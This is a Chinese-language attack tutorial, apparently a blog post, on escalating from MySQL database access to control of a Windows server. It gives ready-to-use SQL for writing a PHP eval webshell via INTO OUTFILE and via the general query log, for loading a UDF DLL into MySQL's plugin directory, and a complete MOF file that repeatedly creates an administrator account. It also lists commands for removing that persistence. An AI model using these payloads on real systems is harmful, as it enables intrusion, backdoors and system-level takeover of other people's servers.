一、写入Webshell

into outfile 写shell

前提条件:

1、知道网站物理路径

2、高权限数据库用户

3、load_file() 开启 即 secure_file_priv 无限制

4、网站路径有写入权限

首先基础语法查询是否 secure_file_priv 没有限制

show global variables like '%secure_file_priv%';

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足上述所有条件的话,那么可以尝试使用下面的 SQL 语句来直接写 shell:

select '<?php @eval($_POST[cmd]); ?>' into outfile 'C:\\soft\\WWW\\empirecms\\shell.php';

上菜刀连接

日志文件写shell

前提条件:

1、Web 文件夹宽松权限可以写入

2、Windows 系统下

3、高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

查看日志目录

SHOW VARIABLES LIKE 'general%';

更改日志文件位置

set global general_log = "ON";set global general_log_file='C:\\soft\\WWW\\empirecms\\log.php';

目标目录下查看,写入了log.php文件

写入shell

select '<?php @eval($_POST[cmd]); ?>'

动态链接库

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

sqlmap的UDF动态链接库文件位置

sqlmap根目录/data/udf/mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py ,

解码方法如下:

解码32位的windows动态链接库:

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

其他linux和windows动态链接库解码类似

或者直接使用metasploit自带的动态链接库,无需解码

Metasploit的UDF动态链接库文件位置

接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:

show variables like '%plugin%'

当 secure_file_priv 无限制的时候,我们可以手工写文件到 plugin 目录下的

select load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll')  into dumpfile 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll';

创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

删除自定义函数

drop function sys_eval;

关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

严苛的前提条件:

1.windows 03及以下版本

2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

3.secure-file-priv参数不为null

提权过程:

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

利用代码如下(test.mof):

#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa \"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";};instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};

将上面的脚本上传到有读写权限的目录下:

这里我上传到了C:\soft\,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下

select load_file("C:/soft/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

验证提权:

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。

关于MOF提权弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

cmd 下运行下面语句:

#停止winmgmt服务net stop winmgmt#删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除 mof 文件del c:/windows/system32/wbem/mof/nullevt.mof /F /S# 删除创建的用户net user hpdoger /delete#重启服务net start winmgmt

更多相关文章

  1. Android退出程序的多种方法
  2. Android退出程序的多种方法
  3. Android退出程序的多种方法
  4. Android(安卓)Notification通知栏的必备姿势
  5. Android中ListView多种Item布局
  6. Android处理多种屏幕尺寸
  7. Android新姿势:3D翻转效果原理
  8. 一定是我打开的姿势不对——Android下使用kill命令杀死指定进程
  9. Android(安卓)Studio引入.so文件的正确姿势 以及调用.so 文件时

随机推荐

  1. Android的Face++Demo错误1302
  2. android CrashHandler
  3. Android(安卓)保存图片到本地
  4. android 错误记录
  5. Android 升级Android X 所需要替换的包(二
  6. Andriod(3)——Understanding Android Re
  7. Android:Random生成随机数
  8. Android之EditText练习
  9. Android ftrace
  10. Android Spinner (Drop Down List) Examp